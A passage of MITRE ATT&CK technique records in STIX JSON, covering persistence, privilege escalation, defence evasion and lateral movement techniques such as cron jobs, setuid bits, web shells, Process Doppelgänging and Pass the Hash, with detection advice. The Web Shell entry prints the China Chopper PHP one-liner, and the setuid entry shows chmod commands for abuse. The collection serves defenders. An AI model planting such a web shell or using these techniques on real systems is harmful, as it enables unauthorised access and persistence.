Page"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html","description":"Apple. (n.d.). Retrieved July 17, 2017.","source_name":"AppleDocs Scheduling Timed Jobs"},{"url":"http://www.thesafemac.com/new-signed-malware-called-janicab/","description":"Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.","source_name":"Janicab"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.","source_name":"Malware Persistence on OS X"},{"url":"https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/","description":"Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.","source_name":"Avast Linux Trojan Cron Persistence"}],"modified":"2021-03-30T00:51:58.374Z","name":"Local Job Scheduling","description":"On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","User","root"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1166","url":"https://attack.mitre.org/techniques/T1166"},{"url":"http://man7.org/linux/man-pages/man2/setuid.2.html","description":"Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.","source_name":"setuid man page"},{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","source_name":"OSX Keydnap malware"}],"modified":"2020-02-05T20:09:22.650Z","name":"Setuid and Setgid","description":"When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively  (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future  (Citation: OSX Keydnap malware).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":["Administrator","root"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f","created":"2020-01-15T18:00:33.603Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1037.005","url":"https://attack.mitre.org/techniques/T1037/005"},{"source_name":"Startup Items","url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html","description":"Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017."},{"source_name":"Methods of Mac Malware Persistence","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.","modified":"2022-04-20T16:43:21.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Startup Items","x_mitre_detection":"The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\n\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","File: File Modification","Process: Process Creation","File: File Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["Administrator"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df","type":"attack-pattern","created":"2017-05-31T21:31:13.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1100","url":"https://attack.mitre.org/techniques/T1100"},{"external_id":"CAPEC-650","source_name":"capec","url":"https://capec.mitre.org/data/definitions/650.html"},{"url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.","source_name":"Lee 2013"},{"url":"https://www.us-cert.gov/ncas/alerts/TA15-314A","description":"US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.","source_name":"US-CERT Alert TA15-314A Web Shells"}],"modified":"2020-03-19T20:22:02.163Z","name":"Web Shell","description":"A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n<code><?php @eval($_POST['password']);></code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_system_requirements":["Adversary access to Web server with vulnerability or account to upload and serve the Web shell file."],"x_mitre_effective_permissions":["SYSTEM","User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1186","url":"https://attack.mitre.org/techniques/T1186"},{"url":"https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx","description":"Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.","source_name":"Microsoft TxF"},{"url":"https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx","description":"Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.","source_name":"Microsoft Basic TxF Concepts"},{"url":"https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx","description":"Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.","source_name":"Microsoft Where to use TxF"},{"url":"https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf","description":"Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.","source_name":"BlackHat Process Doppelgänging Dec 2017"},{"url":"https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/","description":"hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017.","source_name":"hasherezade Process Doppelgänging Dec 2017"},{"url":"https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx","description":"Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.","source_name":"Microsoft PsSetCreateProcessNotifyRoutine routine"}],"modified":"2020-01-14T17:23:25.111Z","name":"Process Doppelgänging","description":"Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Process whitelisting","Anti-virus","Whitelisting by file name or path","Signature-based detection"],"x_mitre_permissions_required":["Administrator","SYSTEM","User"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Anastasios Pingios"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1184","url":"https://attack.mitre.org/techniques/T1184"},{"url":"https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219","description":"Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.","source_name":"Slideshare Abusing SSH"},{"url":"https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf","description":"Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.","source_name":"SSHjack Blackhat"},{"url":"https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking","description":"Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.","source_name":"Clockwork SSH Agent Hijacking"},{"url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/","description":"M.Léveillé, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.","source_name":"Welivesecurity Ebury SSH"}],"modified":"2020-02-25T19:00:50.826Z","name":"SSH Hijacking","description":"Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","root"],"x_mitre_system_requirements":["SSH service enabled, trust relationships configured, established connections"]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Harshal Tupsamudre, Qualys"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","type":"attack-pattern","created":"2021-08-18T14:06:45.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1614.001","url":"https://attack.mitre.org/techniques/T1614/001"},{"source_name":"Malware System Language Check","url":"https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/","description":"Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021."},{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."},{"source_name":"Darkside Ransomware Cybereason","url":"https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware","description":"Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021."},{"source_name":"Securelist JSWorm","url":"https://securelist.com/evolution-of-jsworm-ransomware/102428/","description":"Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021."},{"source_name":"SecureList SynAck Doppelgänging May 2018","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}],"modified":"2021-10-15T22:00:56.174Z","name":"System Language Discovery","description":"Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code> or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>, <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code> and <code>GetUserDefaultLangID</code>.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)\n\nOn a macOS or Linux system, adversaries may query <code>locale</code> to retrieve the value of the <code>$LANG</code> environment variable.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Process: Process Creation","Command: Command Execution","Windows Registry: Windows Registry Key Access"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","Linux","macOS","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","type":"attack-pattern","created":"2017-05-31T21:31:10.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1095","url":"https://attack.mitre.org/techniques/T1095"},{"url":"http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29","description":"Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.","source_name":"Wikipedia OSI"},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."},{"url":"http://support.microsoft.com/KB/170292","description":"Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.","source_name":"Microsoft ICMP"},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2022-02-17T15:38:54.578Z","name":"Non-Application Layer Protocol","description":"Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff","type":"attack-pattern","created":"2017-05-31T21:30:59.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1075","url":"https://attack.mitre.org/techniques/T1075"},{"external_id":"CAPEC-644","source_name":"capec","url":"https://capec.mitre.org/data/definitions/644.html"},{"source_name":"NSA Spotting","description":"National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.","url":"https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"}],"modified":"2020-01-30T19:55:38.699Z","name":"Pass the Hash","description":"Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_system_requirements":["Requires Microsoft Windows as target system"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","type":"attack-pattern","created":"2020-02-05T14:28:16.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1027.003","url":"https://attack.mitre.org/techniques/T1027/003"},{"external_id":"CAPEC-636","source_name":"capec","url":"https://capec.mitre.org/data/definitions/636.html"},{"url":"https://en.wikipedia.org/wiki/Duqu","description":"Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.","source_name":"Wikipedia Duqu"},{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/","description":"Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.","source_name":"McAfee Malicious Doc Targets Pyeongchang Olympics"}],"modified":"2021-10-15T16:46:56.760Z","name":"Steganography","description":"Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used <code>Invoke-PSImage</code> to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)  ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jeremy 